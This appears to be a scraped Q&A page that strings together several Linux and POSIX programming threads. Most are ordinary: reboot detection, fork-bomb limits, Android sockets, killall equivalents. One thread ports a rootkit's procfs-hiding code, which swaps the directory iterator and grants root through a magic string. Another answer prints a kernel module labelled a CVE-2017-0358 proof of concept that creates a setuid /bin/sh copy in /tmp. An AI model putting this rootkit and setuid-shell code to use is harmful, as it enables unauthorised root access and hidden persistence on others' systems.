POSIX compliant way to tell if system rebooted? - security

I'm writing some highly portable security code. I'm trying to avoid security flaw in a utility program such as this one found in some versions of sudo:
... it is possible to become the super user by running sudo -k and then resetting the system clock to 01-01-1970.
This happens because sudo relies on absolute (aka calendar) time to determine whether or not access has timed out.
My idea is to use CLOCK_MONOTONIC defined in time.h.
From the POSIX standard,
[CLOCK_MONOTONIC is] defined as a clock whose value cannot be set via clock_settime() and which cannot have backward clock jumps. The maximum possible clock jump shall be implementation-defined.
Problem is, on many (most?) systems, CLOCK_MONOTONIC resets on reboot. Is there any guaranteed POSIX-compliant way to determine whether or not the system has rebooted since a program last ran?
One (bad) way is to check whether or not the stored clock value is greater than the current clock value, however this just shifts the problem. On systems where CLOCK_MONOTONIC resets on reboot, there could be a short window of length TIMEOUT where access would be permitted.
What am I missing that would avoid this problem?

It seems to me this is straightforward to do using a POSIX shared memory object:
POSIX shared memory objects have kernel persistence: a shared memory
object will exist until the system is shut down, or until all
processes have unmapped the object and it has been deleted with
shm_unlink
Whenever your program launches it can shm_open a new object with some consistent name and set the owner to root. The object needn't contain any particular value. POSIX requires that all shared memory objects persist until reboot unless manually destroyed (which only its owner or creator can do...which in this case is the root user).
Whenever your program launches it first checks if such a shared memory object already exists having root as the owner. Since only root could create such an object, and only root or a reboot could destroy it, you can thus know for certain whether your program has been launched since the last reboot, save the only possible circumvention being the root user invoking shm_unlink on the object manually.
I wrote a test-and-set function below that should do exactly what you need. And it works except for the ownership setting/detection: for some unknown reason both calls to shmctl are failing on my system, saying "invalid argument". The man page for shmctl says the EINVAL error indicates either an invalid memory object identifier or an invalid command. But the IPC_SET and IPC_STAT commands are certainly valid, and you can watch the program's output to see the valid object identifier that is being created and/or opened each time.
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/ipc.h>
#include <stdio.h>
#include <stdlib.h>
int rebooted_test_and_set() {
int err;
int rebooted;
struct shmid_ds shmst;
// create object if nonexistent, returning failure if already exists
int shmid = shm_open("/bootcheck", O_CREAT | O_EXCL);
if (shmid != -1) {
fprintf(stderr, "bootcheck object did not exist, so created: %d\n", shmid);
// object did not exist, so system has been rebooted
rebooted = 1;
// set owner to root, and no permissions for anyone
shmst.shm_perm.uid = 0;
shmst.shm_perm.gid = 0;
shmst.shm_perm.mode = 0;
if ((err = shmctl(shmid, IPC_SET, &shmst)) == -1) {
perror("shmctl: shmctl failed to set owner and permissions for bootcheck object");
exit(1);
}
} else {
// object already exists, so reopen with read access and verify that the owner is root
shmid = shm_open("/bootcheck", O_RDONLY);
if (shmid == -1) {
perror("shm_open: failed, perhaps due to insufficient privileges");
exit(1);
}
fprintf(stderr, "bootcheck object (%d) exists, so checking ownership\n", shmid);
if ((err = shmctl(shmid, IPC_STAT, &shmst)) == -1) {
perror("shmctl: shmctl failed");
exit(1);
}
if (shmst.shm_perm.uid == 0) {
// yes, the bootcheck owner is root,
// so we are confident the system has NOT been rebooted since last launch
rebooted = 0;
} else {
// uh oh, looks like someone created the object illegitimately.
// since that is only possible if the root-owned object did not exist,
// therefore we know that it never did exist since the last reboot
rebooted = 1;
}
}
return rebooted;
}
// for debugging purposes ONLY, so I don't have to keep rebooting to clear the object:
void rebooted_clear() {
if (shm_unlink("/bootcheck") == -1) {
perror("shm_unlink: failed, probably due to insufficient privileges or object nonexistent");
exit(1);
}
}
int main() {
int rebooted = rebooted_test_and_set();
printf("rebooted since last launch: %d\n", rebooted);
return 0;
}
If anyone has any clues, I'm stumped. Some information and examples for POSIX shared memory here.

In this python library they look for the last BOOT_TIME entry in utmp. Technically as what is in POSIX is utmpx (the file format) and the libc functions for accessing it. I think this is as good as you can get staying within POSIX.

Related

how to find the fundamental routine for creating a new process using _do_fork()?

I am new to Linux and I have been assigned this
In Linux kernel sources, Find _do_fork(), the fundamental routine for creating a new process
What is the purpose (give a high-level description) of copy_process() ?
Within copy_process, what exact code guards against fork() bombs?
can somebody help me out?
Firstly, you need to know that fork() will use system call and find interrrupt function from Interrupt table which is named as 'sys_fork()`, which is like below
SYSCALL_DEFINE0(fork)
{
......
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
So the core of fork is _do_fork()
This function will do two major work
call copy_process() to copy structure of process/thread in kernel, which named as task_struct
call wake_up_new() to wake up the task
Like I said in my comment, elixir.bootlin.com is a very good resource for looking at the source code of Linux. It has a very good search engine. I've been looking at the source code and I think I found the code which does what you are looking for (related to fork bombs prevention).
In kernel/fork.c in the copy_process() function you find the following lines:
if (atomic_read(&p->real_cred->user->processes) >=
task_rlimit(p, RLIMIT_NPROC)) {
if (p->real_cred->user != INIT_USER &&
!capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
goto bad_fork_free;
}
This code does an atomic_read of the current task_struct structure (p) being copied. It reads the member real_cred which is a struct of type cred defined in include/linux/cred.h. This struct contains a member named user which is a struct of type user_struct defined in include/linux/sched.h. This user_struct contains a member named processes which is an atomic_t which is itself a struct containing one member (an int). So processes is basically an int which tells the kernel how much processes a user have. The code above checks this member against the value returned by task_rlimit() function. If the limit is exceeded, it cancels the whole thing. Hosnestly, I don't completely understand the if in the middle. But you can always look for details in the source code.

Connecting to external unix domain socket from NDK JNI

I'm building a POC Android app that needs to communicate with an ELF binary over a Unix domain socket server that the binary binds to and listens on. The app is meant for rooted phones and executes the binary as a superuser upon launch. I need to connect with the binary from my client residing in native code, which I'm presently failing to do.
I'm using a self-ported, stripped down version of libsocket to implement the domain socket functionality for both the binary and the Android app (through JNI). The binary communicates perfectly with a command line client, however, it fails to connect with the client that I've implemented in JNI code. I've made sure that the binary is running from /data/data/<my_package_name>/files and that the server socket has public access (777).
While researching the above problem, I stumbled across the fact that NDK requires LocalSockets to be in the Linux abstract namespace. My server (arm binary) binds to an absolute path (/data/data/<my_package_name>/files/serversocket) as libsocket does not support the abstract namespace for unix domain sockets (due to the usage of strlen() and strncopy() which do not support strings beginning with \0).
The following is the code for create_socket from libsocket that's failing with a negative fd.
int create_socket(const char* path, int flags) {
if (path == NULL) {
return -1;
}
if (strlen(path) > sizeof(((struct sockaddr_un*) 0)->sun_path) - 1) {
return -1;
}
int fd = socket(AF_LOCAL, SOCK_STREAM | flags, 0);
if (fd < 0) {
return -1;
}
struct sockaddr_un addr;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_LOCAL;
strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1);
// the connect call below fails, errno is set to 13 (EACCESS)
if (connect(fd, (struct sockaddr*) &addr, sizeof(addr.sun_family) + strlen(addr.sun_path))) {
close(fd);
return -1;
}
return fd;
}
EDIT :
In the above code, the call to connect() fails, with errno being set to 13 (EACCESS). This seems to be an insufficient privileges problem.
I'm wondering if there's any way for me to connect my client to an absolute path from within NDK. It works just fine when I package the client in an ELF executable that runs as superuser, am I missing something obvious here?
To anyone who might be following this, it is necessary to set appropriate permissions on the socket pseudo file manually every time it is launched as root, else connect() fails with errno being set to EACCESS. I'm yet to find a better solution to this.

Migrating dir_proc_entry from kernel 3.1 to kernel 3.18

I'm migrating a kernel module from 3.1 to 3.18. struct dir_proc_entry definition was moved to fs/proc/internal.h. How do I use this structure now in the new version? When I tried to include internal.h I got an error that it doesn't exist.
fatal error: fs/proc/internal.h: No such file or directory
Is there something I'm missing to work with dir_proc_entry? I read that this structure was made opaque in 3.10. What is the proper way to work with this?
In my code for example I have:
static struct proc_dir_entry *proc01;
...
parent = proc01->parent;
What is the proper way to work with proc_dir_entry?
What I'm trying to do is EXACTLY this: dereferencing proc_dir_entry pointer causing compilation error on linux version 3.11 and above
I made the exact same modifications as the code listed on my own. The only changes are that I'm using newer/different kernel headers now.
Here is how ivyl rootkit works.
The kernel module initializes with __init rootkit_init(void).
Run both procfs_init or fs_init
Both of these functions replace the readdir (for kernels 3.10 and older) or iterate (for kernels 3.11 and newer) with a custom version. This is the hiding functionality of a rootkit. They work by making memory read/write replacing the function then making the memory read only.
procfs_init operates on the process filesystem. It creates a file that is read/write by everyone called rtkit. It replaces the original readdir (iterate) with the new one that hides rtkit from view.
fs_init operates on the filesystem in /etc. This is where the module is stored. In other words, it hides the executable code.
The code in procfs_init is what relies on proc_dir_entry structure. This code does the following in detail (line by line):
Creates an entry for the process "rtkit" that is read/write by everyone.
Error checking – if the process is not created return 0.
Get the parent process.
Error checking – if parent is null or the parent process is not "/proc" return 0.
Set the read function of the rtkit process – this just prints some information about what the rootkit is doing. A kind of help command.
Set the write function of the rtkit process. This is main function that brings everything together. It looks for the code "mypenislong" and changes to root. The user running this rootkit now has full root privileges. It also hides given processes and given modules as per the command given.
Get a file operations structure (file_operations) for the root process (proc_root)
From the file operations get the original readdir (iterate) function.
Set the proc_fops to read/write
Set the proc_fops iterate member to the new function of the rootkit (the one that hides functionality)
Set the proc_fops back to read only.
Return 1.
The code for procfs_init:
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = create_proc_entry("rtkit", 0666, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc readdir to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_readdir_new;
set_addr_ro(proc_fops);
return 1;
}
Since the dir_proc_entry structure is now opaque, how do I replace the functionality of this code? I need the code to read/write processes so that the process can be hidden as required.
Edit: modified question title and removed extraneous statement. Added clarification on what I'm trying to do.
Edit: Added description of ivyl rootkit workings.

How can a kernel module unload itself without generating errors in kernel log?

I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c. As far as I can see, there's no exported function which will call free_module from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn function which just schedules after preventing the current (invalid) task from being run again (or just running do_exit).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c, and make the necessary modifications to include/linux/module.h:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE) will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358#gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}

killall(1) equivalent system call or C library call

I have to stop the earlier instances of processes before starting a new instance. For this i need to system call or a C library call.
Presently i use "system("killall name"). This works but I want to replace this with any equivalent system(2)/library(3) calls. What is the option?
Also to remove files from directory as in "system("rm -f /opt/files*")",
what would be the alternate library(3)/system(2) call?
Pleas note * in file names, remove all files with one call.
regards,
AK
As far as I know there is no general way to do it, as there is no general way to get the pid by its process name.
You have to collect the pids of related processes and call the int kill(pid_t pid, int signo); function
At least you can try to check how its implemented by killall itself
A small addition from Ben's link, killall invokes following lines, i.e. collecting the pids of related process by find_pid_by_name function, implementation of which can be found here
pidList = find_pid_by_name(arg);
if (*pidList == 0) {
errors++;
if (!quiet)
bb_error_msg("%s: no process killed", arg);
} else {
pid_t *pl;
for (pl = pidList; *pl; pl++) {
if (*pl == pid)
continue;
if (kill(*pl, signo) == 0)
continue;
errors++;
if (!quiet)
bb_perror_msg("can't kill pid %d", (int)*pl);
}
}
You can see the implementation in busybox here: http://git.busybox.net/busybox/tree/procps/kill.c
You can also link with busybox as a shared library and invoke its kill_main instead of launching a separate process. It looks fairly well behaved for embedding like this -- always returns normally, never calls exit() -- although you may have difficultly getting error information beyond the return code. (But you aren't getting that via system() either).

Resources